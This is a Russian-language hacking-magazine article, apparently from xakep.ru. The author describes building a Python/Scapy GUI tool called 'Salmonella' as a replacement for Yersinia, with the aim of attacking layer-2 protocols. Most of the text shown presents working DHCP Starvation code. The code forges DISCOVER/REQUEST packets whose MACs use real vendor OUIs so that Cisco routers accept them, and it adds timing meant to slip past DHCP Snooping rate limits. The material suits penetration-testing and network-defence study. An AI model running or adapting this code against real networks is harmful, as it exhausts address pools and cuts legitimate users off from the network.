Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
В этой статье я познакомлю тебя с атаками EIGRP Abusing K-values, DTP Spoofing, DHCP Starvation, CAM Table Overflow и еще несколькими. Чтобы проиллюстрировать их, я приведу код на Python, который использовал для создания своего, более мощного аналога утилиты Yersinia.
Как‑то раз, когда я был студентом третьего курса, у меня стояла задача написать курсовую работу по техникам проведения атак на DHCP-сервер. Взяв эту тему, я начал вникать: что это за протокол, как он работает, какие есть атаки и так далее. Когда с теорией было покончено, дело оставалось за малым: показать на практике, как я реализовал атаку на DHCP-сервер. С программированием я тогда был знаком мало и уж точно не знал о том, как работает манипуляция сетевыми пакетами.
Я начал копать подходящие тулзы. Мое внимание привлекла Yersinia — утилита, в которую входят инструменты для проведения атак на протоколы L2, в том числе и на DHCP. Она показалась мне многообещающей и относительно легкой в обращении и понимании. Я взялся за дело с энтузиазмом, но довольно скоро я уже раскачивался перед экраном, держась руками за голову. Что‑то явно шло не так.
Никакого результата добиться не удавалось, и спустя некоторое время я таки выяснил, что проблема не в недостатке у меня знаний, а в том, что сама тулза не работает как положено. Именно тогда мне пришла в голову мысль написать свое, правильно работающее приложение.
Может быть, атаки на DHCP с Yersinia при некоторых условиях провернуть и можно, но атаки на другие протоколы канального уровня не работали вовсе! К тому же по части юзабилити Yersinia хромала на обе ноги.
Приведу пример проблемы: если выбрать атаку на совершенно любой протокол, то в ответ пользователь не получает практически никакой информации о статусе атаки — запущена она или не запущена, перехвачены какие‑либо пакеты или не перехвачены, возникла ошибка или нет и так далее.
Помучившись с этим, я преисполнился решимости писать адекватную замену. К тому же была мысль реализовать поддержку большего числа протоколов. Например, Yersinia не работает с протоколами динамической маршрутизации.
Для разработки я взял Python и библиотеку Scapy, предназначенную для крафтинга сетевых пакетов. В сумме это два мощнейших и относительно простых в использовании инструмента.
Вдобавок к этому я решил создать собственное графическое приложение, аналогичное Yersinia, но с корректно работающими атаками на сетевые протоколы.
В качестве UI-библиотеки я решил для начала взять что‑нибудь простое и выбрал CustomTkinter.
Свое детище я назвал Salmonella — тоже семейство энтеробактерий по аналогии с Yersinia.
Я вижу взаимодействие с приложением так. На главном экране я выбираю интересующий меня протокол.
Далее мне предлагается выбрать технику атаки на этот протокол.
После выбора атаки открывается отдельное окно, в котором можно вводить параметры атаки, прослушивать сеть и так далее.
Приступаем к кодированию!
Моя первая статья в «Хакере» как раз была посвящена теме атак на DHCP. В ней я подробно писал, в частности, о том, что это за протокол и какими сообщениями он оперирует. Здесь я повторю лишь основные тезисы.
Сообщения DHCP. Для нормальной работы DHCP требуется всего четыре сообщения: DISCOVER, OFFER, REQUEST, ACK, запомнить которые очень легко по первым буквам — DORA.
Клиент использует сообщение DISCOVER, чтобы найти DHCP-серверы. Если сервер получает такое сообщение, он отправляет клиенту сообщение OFFER, где указывает сетевые параметры, предлагаемые клиенту. Если серверов несколько, то каждый из них ответит.
Как правило, клиент отвечает тому серверу, сообщение которого пришло первым. В ответ клиент шлет сообщение REQUEST. Сервер, увидев, что клиент принял его предложение, резервирует предложенный клиенту IP-адрес у себя в памяти и отправляет последнее сообщение ACK, которое подтверждает, что теперь клиент может использовать выданные ему сетевые параметры.
Мы знаем, что DHCP-сервер ведет таблицу соответствий выданных клиентам IP-адресов и их MAC-адресов и что уже выданный IP-адрес нельзя предлагать другому клиенту. Суть атаки DHCP Starvation в том, чтобы «истощить» сервер DHCP, отправляя ложные пакеты типа DHCPDISCOVER с рандомными MAC-адресами источника. Сервер будет реагировать на эти пакеты и резервировать свободные IP-адреса из пула, в результате чего некоторое время (пока атака в активной фазе) не сможет выдавать IP-адреса обычным пользователям.
У Yersinia есть ряд проблем с атаками DHCP Starvation.
Первая и главная проблема — отправка лишь сообщений DISCOVER. Вспомним, что для успешного взаимодействия клиент и сервер должны отправить друг другу по два сообщения. Yersinia отправляет только одно сообщение: после получения OFFER от сервера она не шлет свой REQUEST, из‑за чего взаимодействие клиента и сервера не считается успешно завершенным. Именно поэтому DHCP-сервер резервирует IP-адрес лишь через несколько минут после того, как предложил его клиенту в сообщении OFFER.
Вторая проблема — групповые MAC-адреса. В сообщениях DISCOVER в поле источника Ethernet-кадра иногда указываются групповые MAC-адреса. DHCP-сервер не воспринимает такие сообщения и просто игнорирует их. А таким может быть каждое второе сообщение.
Третья проблема: цель Yersinia — не истощить DHCP-сервер, а задушить отправкой огромного количества DISCOVER-пакетов, что, по сути, является DoS.
Все эти проблемы я решил. Посмотрим на интерфейс атаки DHCP Starvation в моей утилите.
Тут можно указать количество отправляемых пакетов, задать интервал для отправки сообщений DISCOVER, выбрать интерфейс и IP-адрес DHCP-сервера (если их несколько и нужен конкретный). Возможность задать интервал отправки для пакетов DISCOVER я добавил для обхода rate-limit у DHCP Snooping.
Теперь давай посмотрим на код. Для начала я определяю, какие выбраны параметры, и сохраняю пользовательский ввод в переменных:
# Если количество пакетов определяется вводом с клавиатурыif radiobutton_number_of_packages_var.get() == 1: number_of_packages = int(entry_number_of_packages.get()) + 1# Если количество пакетов определяется выбором из комбобоксаif radiobutton_number_of_packages_var.get() == 2: if combobox_number_of_packages.get() == "/20 (4096 addresses)": number_of_packages = 4097 if combobox_number_of_packages.get() == "/21 (2048 addresses)": number_of_packages = 2049 if combobox_number_of_packages.get() == "/22 (1024 addresses)": number_of_packages = 1025 if combobox_number_of_packages.get() == "/23 (512 addresses)": number_of_packages = 513 if combobox_number_of_packages.get() == "/24 (256 addresses)": number_of_packages = 257 if combobox_number_of_packages.get() == "/25 (128 addresses)": number_of_packages = 129 if combobox_number_of_packages.get() == "/26 (64 addresses)": number_of_packages = 65 if combobox_number_of_packages.get() == "/27 (32 addresses)": number_of_packages = 33 if combobox_number_of_packages.get() == "/28 (16 addresses)": number_of_packages = 17 if combobox_number_of_packages.get() == "/29 (8 addresses)": number_of_packages = 9 if combobox_number_of_packages.get() == "/30 (4 addresses)": number_of_packages = 5# Если выбран определенный DHCP-серверif radiobutton_dhcp_server_var.get() == 2: dhcp_server = entry_dhcp_server.get()# Если чекбокс не активен, то по умолчанию интервал равен нулюif checkbox_interval_var.get() == "off": interval = 0if checkbox_interval_var.get() == "on": interval = int(combobox_interval.get())
Итак, если не выбран определенный IP-адрес DHCP-сервера:
# Если в качестве IP-адреса DHCP-сервера выбран любой IP-адресif radiobutton_dhcp_server_var.get() == 1:# Устанавливаем счетчик отправленных пакетов для уведомлений и диагностикиpackages_sent = 0# Устанавливаем цикл, по количеству итераций равный количеству отправляемых пакетовfor i in range(1, number_of_packages): # Функция для представления MAC-адреса в виде байтов def mac_to_bytes(mac_addr: str) -> bytes: return int(mac_addr.replace(":", ""), 16).to_bytes(6, "big") # Формируем OUI mac_list = ["04:b0:e7:", "18:1e:b0:", # HUAWEI/Samsung "b8:ca:3a:", "fc:08:4a:", # Dell/Fujitsu "00:25:2e:", "2c:c2:53:", # Cisco/Apple "c4:65:16:", "38:d5:47:", # HP/ASUS "e4:1f:13:", "9c:32:ce:", # IBM/Canon "d0:28:ba:", "6c:24:83:", # Realme/Microsoft "44:90:46:", "74:d4:35:", # HONOR/GIGABYTE "88:70:8c:", "90:e8:68:", # Lenovo/AzureWave "a4:1a:6e:", "d0:c7:c0:", # ZTE/TPlink "c8:13:37:", "00:05:c9:", # Juniper/LG "24:21:ab:", "fc:75:16:", # Sony/D-Link "60:9c:9f:", "00:00:aa:"] # Brocade/Xerox # Генерируем оставшиеся три байта mac = [random.randint(0x00, 0x7f), random.randint(0x00, 0x7f), random.randint(0x00, 0x7f)] # Приводим их в вид MAC-адреса client_mac = ':'.join(map(lambda x: '%02x' % x, mac)) # Генерируем уникальный идентификатор транзакции для четырех сообщений DORA xid = random.randint(0x00000000, 0xffffffff) # Объединяем OUI и вторые три байта client_mac = random.choice(mac_list) + client_mac
Уже предвкушаю вопросы про список mac_list
! Сейчас поясню.
Как я уже говорил, DHCP-сервер не реагирует на сообщения DHCP, в которых в качестве MAC-адреса источника указан групповой MAC. Я начал использовать глобальные уникальные MAC-адреса (с помощью RandMAC()
), но результат оказался таким же: мой DHCP-сервер на роутере Cisco игнорировал сообщение DISCOVER, а в Wireshark оно выглядело так, как будто я использовал групповые MAC-адреса:
Тогда я нашел интересную информацию по этому вопросу:
То есть MAC-адрес должен узнаваться по первым трем байтам. Таким образом, я погуглил и собрал первые три байта (OUI) для оборудования наиболее известных вендоров и составил список mac_list
. При каждой генерации MAC-адреса происходит выбор случайного OUI из этого списка.
Далее генерируется вторая (случайная) часть MAC-адреса и объединяется с OUI случайно выбранного вендора. Уникальный глобальный MAC готов! Мой роутер Cisco стал реагировать на каждый MAC-адрес, сгенерированный таким образом.
В следующем блоке кода непосредственно генерируются сообщения DHCP DISCOVER:
discover_packet = Ether(src=client_mac, dst="ff:ff:ff:ff:ff:ff") / IP(src="0.0.0.0", dst="255.255.255.255") / UDP(sport=68, dport=67) / BOOTP(op=1, chaddr=mac_to_bytes(client_mac), xid=xid) / DHCP(options=[("message-type", "discover"), "end"])response_for_discover = srp1(discover_packet, timeout=2, verbose=0, iface=combobox_interface.get())
Отправляем сообщение discover_packet
методом srp1 и ждем один ответ.
Дальше анализируем полученный ответ. Запишем его в переменную response_for_discover
:
# Если ответ был получен и это DHCP OFFERif response_for_discover and response_for_discover[DHCP].options[0][1] == 2: options = response_for_discover[DHCP].options for i, item in enumerate(options): if item[0] == 'server_id': server_id = i if item[0] == 'router': router = i if item[0] == 'lease_time': lease_time = i if item[0] == 'subnet_mask': subnet_mask = i if item[0] == 'name_server': name_server = i request_packet = Ether(src=client_mac, dst="ff:ff:ff:ff:ff:ff") / IP(src="0.0.0.0", dst="255.255.255.255") / UDP(sport=68, dport=67) / BOOTP(op=1, chaddr=mac_to_bytes(client_mac), xid=xid) / DHCP(options=[("message-type", "request"), ("requested_addr", response_for_discover[BOOTP].yiaddr), ("server_id", response_for_discover[DHCP].options[server_id][1]), ("router", response_for_discover[DHCP].options[router][1]), ("name_server", response_for_discover[DHCP].options[name_server][1]), ("subnet_mask", response_for_discover[DHCP].options[subnet_mask][1]), ("lease_time", int(response_for_discover[DHCP].options[lease_time][1])), "end"]) response_for_request = srp1(request_packet, timeout=5, verbose=0, iface=combobox_interface.get())
Из сообщения OFFER, в котором DHCP-сервер предлагает нам свои сетевые параметры (IP-адрес, маска сети, IP-адрес DHCP-сервера, IP-адрес шлюза по умолчанию, DNS-сервер и время аренды), мы записываем их в соответствующие переменные. Часть этих параметров представлена в виде опций. Это далеко не все параметры, которые сервер предлагает клиенту, но их достаточно, чтобы клиент мог нормально работать в сети.
Источник: xakep.ru